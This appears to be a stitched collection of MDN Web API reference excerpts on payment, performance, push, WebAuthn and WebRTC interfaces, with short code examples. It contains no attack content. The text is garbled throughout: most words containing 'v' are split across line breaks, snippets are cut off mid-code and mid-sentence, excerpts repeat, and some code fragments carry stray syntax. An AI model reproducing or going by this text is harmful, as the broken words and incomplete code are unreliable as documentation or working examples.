... syntax errorstring = paymentdetailsupdate.error; paymentdetailsupdate.error = errorstring; value a domstring specifying the string to display to the user if the information specified in the paymentdetailsupdate doesn't pro
vide any valid shipping options.
PaymentItem - Web APIs
this might be an item or ser
vice being purchased or a tax or other charge.
... label secure context a string specifying a human-readable name or description of the item or ser
vice being charged for.
PaymentMethodChangeEvent - Web APIs
the paymentmethodchangeevent() constructor creates a new paymentmethodchangeevent object pro
viding details about a paymentmethodchange event.
... methoddetails optional an object pro
viding payment method-specific information describing the changes made to the payment, or null if there is no additional information available or required.
PaymentRequest: paymentmethodchange event - Web APIs
ntmethodchange", handlepaymentchange, false); paymentrequest.show() .then(response => response.complete("success")) .catch(err => console.log("error handling payment request: " + err)); the event handler function itself, handlepaymentchange(), looks like this: handlepaymentchange = event => { const detailsupdate = {}; if (event.methodname === "https://apple.com/apple-pay") { const ser
vicefeeinfo = calculateser
vicefee(event.methoddetails); object.assign(detailsupdate, ser
vicefeeinfo); } event.updatewith(detailsupdate); }, false); this begins by looking at the event's methodname property; if that indicates that the user is trying to use apple pay, we pass the methoddetails into a function called calculateser
vicefee(), which we might create to take the information about ...
...the transaction, such as the underlying credit card being used to ser
vice the apple pay request, and compute and return an paymentdetailsupdate object that specifies changes to be applied to the paymentrequest in order to add any ser
vice fees that the payment method might require.
PaymentResponse.retry() - Web APIs
error can be pro
vided all by itself to pro
vide only a generic error message, or in concert with the other properties to serve as an over
view while other properties' values gude the user to errors in specific fields in the payment form.
... payer optional a payererrors compliant object which pro
vides appropriate error messages for any of the fields describing the payer which failed validation.
performance.clearMeasures() - Web APIs
performance.measure("from na
vigation"); performance.mark("a"); performance.measure("from mark a", "a"); performance.measure("from na
vigation"); performance.measure("from mark a", "a"); performance.mark("b"); performance.measure("between a and b", "a", "b"); logmeasurecount() // "found this many entries: 5" // delete just the "from na
vigation" performancemeasure entries.
... performance.clearmeasures("from na
vigation"); logmeasurecount() // "found this many entries: 3" // delete all of the performancemeasure entries.
performance.getEntriesByType() - Web APIs
if no objects have the specified type, or no argument is pro
vided, an empty list is returned.
...performance.mark not supported"); return; } // create some performance entries
via the mark() method performance.mark("begin"); dowork(50000); performance.mark("end"); performance.mark("begin"); dowork(100000); performance.mark("end"); dowork(200000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); checkperformanceentry(p[i]); } // use getentries(name, entrytype) to get specific entries p = performance.getentries({name : "begin", entrytype: "mark"}); for (var i=0; i < p.length;...
PerformanceEntry.duration - Web APIs
"na
vigation" - returns the timestamp that is the difference between the performancena
vigationtiming.loadeventend and performanceentry.starttime properties, respectively.
...performance.mark not supported"); return; } // create some performance entries
via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; ...
PerformanceEntry.entryType - Web APIs
performance entry type names value subtype type of name property description of name property frame, na
vigation performanceframetiming, performancena
vigationtiming url the document's address.
... function run_performanceentry() { // check for feature support before continuing if (performance.mark === undefined) { console.log("performance.mark not supported"); return; } // create a performance entry named "begin"
via the mark() method performance.mark("begin"); // check the entrytype of all the "begin" entries var entriesnamedbegin = performance.getentriesbyname("begin"); for (var i=0; i < entriesnamedbegin.length; i++) { var typeofentry = entriesnamedbegin[i].entrytype; console.log("entry is type: " + typeofentry); } } specifications specification status comment ...
PerformanceEntry.name - Web APIs
value subtype entrytype values description url performanceframetiming, performancena
vigationtiming frame, na
vigation the document's address.
...performance.mark not supported"); return; } // create some performance entries
via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; ...
PerformanceEntry.startTime - Web APIs
"na
vigation" - returns the timestamp with a value of "0".
...performance.mark not supported"); return; } // create some performance entries
via the mark() method performance.mark("begin"); do_work(50000); performance.mark("end"); // use getentries() to iterate through the each entry var p = performance.getentries(); for (var i=0; i < p.length; i++) { log("entry[" + i + "]"); check_performanceentry(p[i]); } } function check_performanceentry(obj) { var properties = ["name", "entrytype", "starttime", "duration"]; ...
PerformanceEntry - Web APIs
performanceentry instances will always be one of the following subtypes: performancemark performancemeasure performanceframetiming performancena
vigationtiming performanceresourcetiming performancepainttiming note: this feature is available in web workers.
... na
vigation timing level 2 working draft na
vigation timing recommendation adds the performancena
vigationtiming interface and the na
vigation value for entrytype.
PerformanceMark - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline...
... performanceentry.name returns the name given to the mark when it was created
via a call to performance.mark().
PerformanceMeasure - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline...
... performanceentry.name returns the name given to the measure when it was created
via a call to performance.measure().
PerformanceObserverEntryList.getEntries() - Web APIs
syntax general syntax: entries = list.getentries(); entries = list.getentries(performanceentryfilteroptions); specific usage: entries = list.getentries({name: "entry_name", entrytype: "mark"}); parameters performanceentryfilteroptionsoptional is a performanceentryfilteroptions dictionary, ha
ving the following fields: "name", the name of a performance entry.
...byname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'na
vigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to frame event only observe_frame.observe({entrytypes: ['frame']}); specifications specification stat...
PerformanceObserverEntryList.getEntriesByType() - Web APIs
if no objects have the specified type, or no argument is pro
vided, an empty list is returned.
...byname("begin", "mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } // print entries with type "mark" perfentries = list.getentriesbytype("mark"); for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to all performance event types observe_all.observe({entrytypes: ['frame', 'mark', 'measure', 'na
vigation', 'resource', 'server']}); var observe_frame = new performanceobserver(function(list, obs) { var perfentries = list.getentries(); // should only have 'frame' entries for (var i=0; i < perfentries.length; i++) { print_perf_entry(perfentries[i]); } }); // subscribe to only the 'frame' event observe_frame.observe({entrytypes: ['frame']}); specifications specification ...
PerformanceResourceTiming.workerStart - Web APIs
the workerstart read-only property of the performanceresourcetiming interface returns a domhighrestimestamp immediately before dispatching the fetchevent if a ser
vice worker thread is already running, or immediately before starting the ser
vice worker thread if it is not already running.
... if the resource is not intercepted by a ser
vice worker the property will always return 0.
PermissionStatus - Web APIs
the permissionstatus interface of the permissions api pro
vides the state of an object and an event handler for monitoring changes to said state.
... example na
vigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission status is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ', this.state); }; }); specification specification status comment permissionsthe definition of 'permissionstatu...
PointerEvent.pointerId - Web APIs
example the following code snippet compares a pre
viously saved pointerid with the one of the pointerdown event that was just fired.
... let id; // let's assume that this is a pre
viously saved pointerid target.addeventlistener('pointerdown', function(event) { // compare pre
vious event's id that was cached // to current event's id and handle accordingly if (id === event.pointerid) process_event(event); }, false); specifications specification status comment pointer events – level 2the definition of 'pointerid' in that specification.
PositionOptions.maximumAge - Web APIs
if set to 0, it means that the de
vice cannot use a cached position and must attempt to retrieve the real current position.
... if set to infinity the de
vice must return a cached position regardless of its age.
ProcessingInstruction - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 10%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 700 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... li
ving standard xml specification ...
PromiseRejectionEvent() - Web APIs
let myrejectionevent = new promiserejectionevent("unhandledrejection", { promise : mypromise, reason : "my house is on fire" }); specifications specification status comment html li
ving standardthe definition of 'the promiserejectionevent interface' in that specification.
... li
ving standard initial definition.
PromiseRejectionEvent.promise - Web APIs
window.onunhandledrejection = function(event) { if (event.reason.code && event.reason.code == "module not ready") { window.requestidlecallback(function(deadline) { loadmodule(event.reason.modulename) .then(performstartup); }); event.preventdefault(); } } specifications specification status comment html li
ving standardthe definition of 'promiserejectionevent.promise' in that specification.
... li
ving standard initial definition.
PublicKeyCredential.response - Web APIs
an authenticatorresponse is either: an authenticatorattestationresponse (when the publickeycredential is created
via credentialscontainer.create()) an authenticatorassertionresponse (when the publickeycredential is obtained
via credentialscontainer.get()).
... examples var options = { challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var response = pubkeycredential.response; var clientextresults = pubkeycredential.getclientextensionresults(); // send response and client extensions to the server so that it can validate // and create credentials }).catch(function (err) { // deal with any error }); specifications ...
PublicKeyCredentialCreationOptions.attestation - Web APIs
which de
vice they are using).
...y = { attestation: "indirect", challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key cr...
PublicKeyCredentialCreationOptions.challenge - Web APIs
note: when the credential is retrieved with a na
vigator.credentials.get() call, the signature of the challenge is contained in authenticatorassertionresponse.signature.
... examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; na
vigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key cr...
PublicKeyCredentialRequestOptions.allowCredentials - Web APIs
the value of the strings may be: "usb": the authenticator can be contacted
via a removable usb link "nfc": the authenticator may be used over nfc (near field communication) "ble": the authenticator may be used over ble (bluetooth low energy) "internal": the authenticator is specifically bound to the client de
vice (cannot be removed).
... examples var options = { allowcredentials: [ { transports: ["usb"], type: "public-key", id: new uint8array(26) // actually pro
vided by the server }, { transports: ["internal"], type: "public-key", id: new uint8array(26) // actually pro
vided by the server } ], challenge: new uint8array([/* bytes sent from the server */]) }; na
vigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications ...
PublicKeyCredentialRequestOptions.challenge - Web APIs
note: when the credential is created with a na
vigator.credentials.create() call, the signature of the challenge is contained within authenticatorattestationresponse.attestationobject.
... examples var options = { challenge: new uint8array([/* bytes sent from the server */]) }; na
vigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1...
PublicKeyCredentialRequestOptions.userVerification - Web APIs
note: an analogous option exists for the creation operation (na
vigators.credentials.create()), see the userverification property of publickeycredentialcreationoptions.authenticatorselection.
... examples var options = { userverification: "preferred", challenge: new uint8array([/* bytes sent from the server */]), }; na
vigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1t...
PushManager.getSubscription() - Web APIs
(no live demo is available.) // we need the ser
vice worker registration to check for a subscription na
vigator.ser
viceworker.ready.then(function(ser
viceworkerregistration) { // do we already have a push message subscription?
... ser
viceworkerregistration.pushmanager.getsubscription() .then(function(subscription) { // enable any ui which subscribes / unsubscribes from // push messages.
PushManager.permissionState() - Web APIs
it can have the following properties: user
visibleonly: a boolean indicating that the returned push subscription will only be used for messages whose effect is made
visible to the user.
... applicationserverkey: a public key your push server will use to send messages to client apps
via a push server.
PushManager.register() - Web APIs
syntax var request = na
vigator.push.register(); return a domrequest object to handle the success or failure of the method call.
... example var req = na
vigator.push.register(); req.onsuccess = function(e) { var endpoint = req.result; debug("new endpoint: " + endpoint ); } req.onerror = function(e) { debug("error getting a new endpoint: " + json.stringify(e)); } specification specification status comment push api working draft defines the pushmanager interface.
PushMessageData - Web APIs
the pushmessagedata interface of the push api pro
vides methods which let you retrieve the push data sent by a server in various formats.
... messages received through the push api are sent encrypted by push ser
vices and then automatically decrypted by browsers before they are made accessible through the methods of the pushmessagedata interface.
PushSubscription.endpoint - Web APIs
the endpoint takes the form of a custom url pointing to a push server, which can be used to send a push message to the particular ser
vice worker instance that subscribed to the push ser
vice.
... example na
vigator.ser
viceworker.ready.then(function(reg) { reg.pushmanager.subscribe({user
visibleonly: true}).then(function(subscription) { console.log(subscription.endpoint); // at this point you would most likely send the subscription // endpoint to your server, save it, then use it to send a // push message at a later date }) }) specifications specification status comment push apithe definition of 'endpoint' in that specification.
PushSubscription.expirationTime - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetexpirationtimechrome full support 60edge full support 16firefox no support noie no support noopera full support ...
... 47safari no support noweb
view android no support nochrome android full support 60firefox android no support noopera android full support 44safari ios no support nosamsung internet android full support 8.0legend full support full support no support no support ...
PushSubscription.subscriptionId - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsubscriptionidchrome full support 42edge full support ≤18firefox no support noie no support noopera full support ...
... 29safari no support noweb
view android no support nochrome android full support 42firefox android no support noopera android full support 29safari ios no support nosamsung internet android full support 4.0legend full support full support no support no support ...
PushSubscription.toJSON() - Web APIs
the tojson() method of the pushsubscription interface is a standard serializer: it returns a json representation of the subscription properties, pro
viding a useful shortcut.
... example na
vigator.ser
viceworker.ready.then(function(reg) { reg.pushmanager.getsubscription().then(function(subscription) { var mysubscription = subscription.tojson(); // do something with subscription details }) }); specifications specification status comment push apithe definition of 'pushsubscription: tojson' in that specification.
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
options a dictionary of type rtcdtmftonechangeeventinit, which may contain one or more of the following fields: tone a domstring containing a single dtmf tone character which has just begun to play, or an empty string ("") to indicate that the pre
vious tone has stopped playing.
... return value a newly-created rtcdtmftonechangeevent, configured as specified in the pro
vided options.
RTCDTMFToneChangeEvent - Web APIs
properties in addition to the properties of event, this interface offers the following: rtcdtmftonechangeevent.tone read only a domstring specifying the tone which has begun playing, or an empty string ("") if the pre
vious tone has finished playing.
...it appends each tone to a display box as it's played, and, once all tones have been sent, re-enabled a pre
viously-disabled "send" button, allowing the next dmtf string to be entered.
RTCDataChannel.maxRetransmits - Web APIs
the read-only rtcdatachannel property maxretransmits returns the maximum number of times the browser should try to retransmit a message before gi
ving up, as set when the data channel was created, or null, which indicates that there is no maximum.
... syntax var tries = adatachannel.maxretransmits; value the maximum number of times the browser will try to retransmit a message before gi
ving up, or null if not set when rtcpeerconnection.createdatachannel() was called.
RTCDataChannel - Web APIs
the peer being in
vited to exchange data receives a datachannel event (which has type rtcdatachannelevent) to let it know the data channel has been added to the connection.
... read only the read-only rtcdatachannel property maxpacketlifetime returns the amount of time, in milliseconds, the browser is allowed to take to attempt to transmit a message, as set when the data channel was created, or null.maxretransmits read only the read-only rtcdatachannel property maxretransmits returns the maximum number of times the browser should try to retransmit a message before gi
ving up, as set when the data channel was created, or null, which indicates that there is no maximum.negotiated read only the read-only rtcdatachannel property negotiated indicates whether the rtcdatachannel's connection was negotiated by the web app (true) or by the webrtc layer (false).ordered read only the read-only rtcdatachannel property ordered indicates whether or not the data channel guara...
RTCError - Web APIs
constructor rtcerror() creates and returns a new rtcerror object initialized with the properties of the pro
vided rtcerrorinit dictionary and, optionally, a string to use as the value of the error's message property.
... sentalert read only if errordetail is dtls-failure, this property is an unsigned long integer indicating the fatal dtls error that was sent out by this de
vice.
RTCErrorEvent.error - Web APIs
syntax let errorinfo = rtcerrorevent.error; value an rtcerror object whose properties pro
vide details about the error which has occurred in the context of a webrtc operation.
... sentalert read only if errordetail is dtls-failure, this property is an unsigned long integer indicating the fatal dtls error that was sent out by this de
vice.
RTCIceCandidate.RTCIceCandidate() - Web APIs
syntax candidate = new rtcicecandidate([candidateinfo]); parameters candidateinfo optional an optional rtcicecandidateinit object pro
viding information about the candidate; if this is pro
vided, the candidate is initialized configured to represent the described candidate.
... if candidateinfo is pro
vided, the new rtcicecandidate is initialized as follows: each member of the rtcicecandidateinit object is initialized to the value of the property by the same name from rtcicecandidateinit.
RTCIceCandidate.port - Web APIs
the rtcicecandidate interface's read-only port property contains the port number on the de
vice at the address given by ip at which the candidate's peer can be reached.
... syntax var port = rtcicecandidate.port; value a 16-bit number indicating the port number on the de
vice at the address indicated by ip at which the candidate's peer can be reached.
RTCIceCandidate.usernameFragment - Web APIs
note: there is no api to obtain the ice password, for what should be fairly ob
vious security reasons.
... to do so, you can compare the value of usernamefragment to the current usernamefragment being used for the connection after recei
ving the candidate from the signaling server and before caling addicecandidate() to add it to the set of possible candidates.
RTCIceCandidateInit.candidate - Web APIs
the candidate string specifies the network connecti
vity information for the candidate.
...if your client-side signaling layer builds and transmits a json string including the candidate to the remote peer, the remote peer might handle recei
ving that json message like this: function goticecandidatemessage(msg) { var icecandidate = new rtcicecandidate({ candidate: msg.candidate; }); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate a...
RTCIceCandidatePair.local - Web APIs
the local property of the rtcicecandidatepair dictionary specifies the rtcicecandidate which describes the configuration of the local end of a
viable webrtc connection.
... syntax localcandidate = rtcicecandidatepair.local; value an rtcicecandidate which describes the configuration of the local end of a
viable pair of ice candidates.
RTCIceCandidatePair.remote - Web APIs
the remote property of the rtcicecandidatepair dictionary specifies the rtcicecandidate describing the configuration of the remote end of a
viable webrtc connection.
... syntax remotecandidate = rtcicecandidatepair.remote; value an rtcicecandidate which describes the configuration of the remote end of a
viable pair of ice candidates.
RTCIceCandidatePairStats.currentRoundTripTime - Web APIs
this value is computed by obser
ving the time that elapsed between the most recent stun request being sent to the remote peer and the response to that request arri
ving.
... this information may come from ongoing stun connecti
vity checks as well as from consent requests made when the connection was initially being opened.
RTCIceCandidatePairStats.requestsSent - Web APIs
the rtcicecandidatepairstats dictionary's requestssent property indicates the total number of stun connecti
vity check requests that have been sent so far on the connection described by this pair of candidates.
... syntax requestssent = rtcicecandidatepairstats.requestssent; value an integer value which specifies the number of stun connecti
vity requests that have been sent to date on the connection described by this pair of ice candidates.
RTCIceCandidatePairStats.responsesReceived - Web APIs
the responsesreceived property in the rtcicecandidatepairstats dictionary indicates the total number of stun connecti
vity check responses that have been received on the connection described by this pair of candidates.
... syntax responsesreceived = rtcicecandidatepairstats.responsesreceived; value an integer value which specifies the number of stun connecti
vity request responses that have been received on the connection described by this pair of candidates so far.
RTCIceCandidateStats.address - Web APIs
otherwise, the address is presumed to be a fully-qualified domain name, which is resolved first using an aaaa record (assuming ipv6 is available), then using an a record (if no result is found or the de
vice onlu supports ipv4).
... usage notes the address property was pre
viously known as ip, and only permitted ipv4 and ipv6 addresses to be used.
RTCIceGathererState - Web APIs
the rtcicegathererstate enumerated type pro
vides the string values which can be returned by an rtcicetransport object's gatheringstate.
... "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote de
vice.
RTCIceProtocol - Web APIs
the webrtc api's rtciceprotocol enumerated type pro
vides a set of domstring values representing the names of the transport protocols ice candidates can use.
...the tcptype property pro
vides additional information about the kind of tcp candidate represented by the object.
RTCIceServers.urls - Web APIs
mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: "stun:stunserver.example.org" } ] }); notice that only the urls property is pro
vided; the stun server doesn't require authentication, so this is all that's needed.
... mypeerconnection = new rtcpeerconnection({ iceservers: [ { urls: ["turns:turnserver.example.org", "turn:turnserver.example.org"], username: "webrtc", credential: "turnpassword" }, { urls: "stun: stunserver.example.org" } ] }); two ice servers are pro
vided.
RTCIceTransport.role - Web APIs
you can learn more about ice roles in choosing a candidate pair in webrtc connecti
vity.
...the value must be one of those found in the enumerated type rtcicerole: "controlling" the rtcicetransport object is ser
ving as the controlling agent.
RTCIceTransport: selectedcandidatepairchange event - Web APIs
a selectedcandidatepairchange event is sent to an rtcicetransport when the ice agent selects a new pair of candidates that describe the endpoints of a
viable connection.
... bubbles no cancelable no interface event event handler property onselectedcandidatepairchange examples this example creates an event handler for selectedcandidatepairchange that updates a display pro
viding the user information about the progress of the ice negotiation for an rtcpeerconnection called pc.
RTCIdentityAssertion - Web APIs
properties rtcidentityassertion.idp indicates the pro
vider of the identity assertion.
... rtcidentityassertion.name indicates the name of the identity assertion pro
vider.
RTCIdentityErrorEvent.loginUrl - Web APIs
the read-only property rtcidentityerrorevent.loginurl is a domstring gi
ving the url where the user can complete the authentication.
... it can be null and is pro
vided by the identity pro
vider (idp).
RTCInboundRtpStreamStats.averageRtcpInterval - Web APIs
because the interval's value is determined in part by the number of active senders, it will be different for each user of a ser
vice.
... since this value is also used to determine the number of seconds after a stream starts to flow before the first rtcp packet should be sent, the result is that if many users try to start using the ser
vice at the same time, the server won't be flooded with rtcp packets coming in all at once.
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
an fec packet pro
vides parity information which can be used to attempt to reconstruct rtp data packets which have been corrupted in transit.
...this can happen if the packets covered by the fec packets have already been received successfully or have already been reconstructed using a pre
viously-received fec packet.
RTCInboundRtpStreamStats.firCount - Web APIs
this statistic is available only for
video tracks.
... the higher fircount is, the more often frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the recei
ving de
vice is overburdened and is therefore unable to process the incoming data.
RTCInboundRtpStreamStats.packetsDuplicated - Web APIs
the packetsduplicated property of the rtcinboundrtpstreamstats dictionary indicates the total number of packets discarded because they were duplicates of pre
viously-received packets.
... usage notes duplicate packets are detected when a packet has the same rtp sequence number as another packet that has pre
viously been processed.
RTCInboundRtpStreamStats.perDscpPacketsReceived - Web APIs
the perdscppacketsreceived property of the rtcinboundrtpstreamstats dictionary is a record comprised of key/value pairs in which each key is a string representation of a differentiated ser
vices code point and the value is the number of packets received for that dcsp.
...each key is the string representation of a single differentiated ser
vices code point (dscp)'s id number.
RTCInboundRtpStreamStats.receiverId - Web APIs
the receiverid property of the rtcinboundrtpstreamstats dictionary specifies the id of the rtcaudioreceiverstats or rtc
videoreceiverstats object representing the rtcrtpreceiver recei
ving the stream.
... syntax var receiverstatsid = rtcinboundrtpstreamstats.receiverid; value a domstring which contains the id of the rtcaudioreceiverstats or rtc
videoreceiverstats object which pro
vides information about the rtcrtpreceiver which is recei
ving the streamed media.
RTCInboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcinboundrtpstreamstats dictionary indicates the id of the rtcreceiveraudiotrackattachmentstats or rtcreceiver
videotrackattachmentstats object representing the mediastreamtrack which is recei
ving the incoming media.
... syntax var trackstatsid = rtcinboundrtpstreamstats.trackid; value a domstring containing the id of the rtcreceiveraudiotrackattachmentstats or rtcreceiver
videotrackattachmentstats object representing the track which is recei
ving the media from this rtp session.
RTCOutboundRtpStreamStats.averageRtcpInterval - Web APIs
because the interval's value is determined in part by the number of active senders, it will be different for each user of a ser
vice.
... since this value is also used to determine the number of seconds after a stream starts to flow before the first rtcp packet should be sent, the result is that if many users try to start using the ser
vice at the same time, the server won't be flooded with rtcp packets coming in all at once.
RTCOutboundRtpStreamStats.framesEncoded - Web APIs
syntax var framesencoded = rtcoutboundrtpstreamstats.framesencoded; value an integer value indicating the total number of
video frames that this sender has encoded so far for this stream.
... note: this property is only valid for
video streams.
RTCOutboundRtpStreamStats.perDscpPacketsSent - Web APIs
the perdscppacketssent property of the rtcoutboundrtpstreamstats dictionary is a record comprised of key/value pairs in which each key is a string representation of a differentiated ser
vices code point and the value is the number of packets sent for that dcsp.
...each key is the string representation of a single differentiated ser
vices code point (dscp)'s id number.
RTCOutboundRtpStreamStats.trackId - Web APIs
the trackid property of the rtcoutboundrtpstreamstats dictionary indicates the id of the rtcsenderaudiotrackattachmentstats or rtcsender
videotrackattachmentstats object representing the mediastreamtrack which is being sent on this stream.
... syntax var trackstatsid = rtcoutboundrtpstreamstats.trackid; value a domstring containing the id of the rtcsenderaudiotrackattachmentstats or rtcsender
videotrackattachmentstats object representing the track which is the source of the media being sent on this stream.
RTCPeerConnection.addIceCandidate() - Web APIs
this is covered in more detail in the articles webrtc connecti
vity and signaling and
video calling.
...out of interest, end-of-candidates may be manually indicated as follows: pc.addicecandidate({candidate:''}); however, in most cases you won't need to look for this explicitly, since the events dri
ving the rtcpeerconnection will deal with it for you, sending the appropriate events.
RTCPeerConnection.addTransceiver() - Web APIs
init optional an object that conforms to the rtcrtptransceiverinit dictionary which pro
vides any options that you may wish to specify when creating the new transceiver.
...the string must be either "audio" or "
video".
RTCPeerConnection.createDataChannel() - Web APIs
options optional an rtcdatachannelinit dictionary pro
viding configuration options for the data channel rtcdatachannelinit dictionary the rtcdatachannelinit dictionary pro
vides the following fields, any of which may be included in the object passed as the options parameter in order to configure the data channel to suit your needs: ordered optional indicates whether or not messages sent on the rtcdatachannel are required to arrive at their destin...
... examples this example shows how to create a data channel and set up handlers for the open and message events to send and receive messages on it (for brie
vity, the example assumes onnegotiationneeded is set up).
RTCPeerConnection.getConfiguration() - Web APIs
the returned configuration is the last configuration applied
via setconfiguration(), or if setconfiguration() hasn't been called, the configuration the rtcpeerconnection was constructed with.
... if it's determined that there are no certificates in place, rtcpeerconnection.generatecertificate() is called to create a new certificate; we pro
vide a fulfillment handler which adds a new array containing the one newly-created certificate to the current configuration and passes it to setconfiguration() to add the certificate to the connection.
RTCPeerConnection: iceconnectionstatechange event - Web APIs
ice connection state during ice restarts when an ice restart is processed, the gathering and connecti
vity checking process is started over from the beginning, which will cause the iceconnectionstate to transition to connected if the ice restart was triggered while in the completed state.
...the ice layer makes this determination upon recei
ving the end-of-candidates signal, which is pro
vided by caling addicecandidate() with a candidate whose candidate property is an empty string (""), or by setting the rtcpeerconnection property cantrickleicecandidates to false.
RTCPeerConnection.onaddstream - Web APIs
example this code, based on an older version of our signaling and
video calling sample, responds to addstream events by setting the
video source for a <
video> element to the stream specified in the event, and then enabling a "hang up" button in the app's user interface.
... pc.onaddstream = function(event) { document.getelementbyid("received_
video").srcobject = event.stream; document.getelementbyid("hangup-button").disabled = false; }; you can also use addeventlistener() to add a handler for addstream events to an rtcpeerconnection.
RTCPeerConnection.onicecandidate - Web APIs
syntax rtcpeerconnection.onicecandidate = eventhandler; value this should be set to a function which you pro
vide that accepts as input an rtcpeerconnectioniceevent object representing the icecandidate event.
... example the example below, which is based on the code from the article signaling and
video calling, sets up a handler for icecandidate events to send the candidates to the remote peer.
RTCPeerConnection.onicecandidateerror - Web APIs
syntax rtcpeerconnection.onicecandidateerror = eventhandler; value this should be set to a function you pro
vide which is passed a single parameter: an rtcpeerconnectioniceerrorevent object describing the icecandidateerror event.
... } else if (event.errorcode >= 700 && event.errorcode <= 799) { // server could not be reached; a specific error number is // pro
vided but these are not yet specified.
RTCPeerConnection.onsignalingstatechange - Web APIs
syntax rtcpeerconnection.onsignalingstatechange = errorhandler; value set this to a function which you pro
vide that receives an event object as input; this contains the signalingstatechange event.
... this event object doesn't pro
vide details about what changed, but you can examine the signalingstate property to determine what the new state is.
RTCPeerConnection.removeStream() - Web APIs
the rtcpeerconnection.removestream() method removes a mediastream as a local source of audio or
video.
... example var pc,
videostream; na
vigator.getusermedia({
video: true}, function(stream) { pc = new rtcpeerconnection();
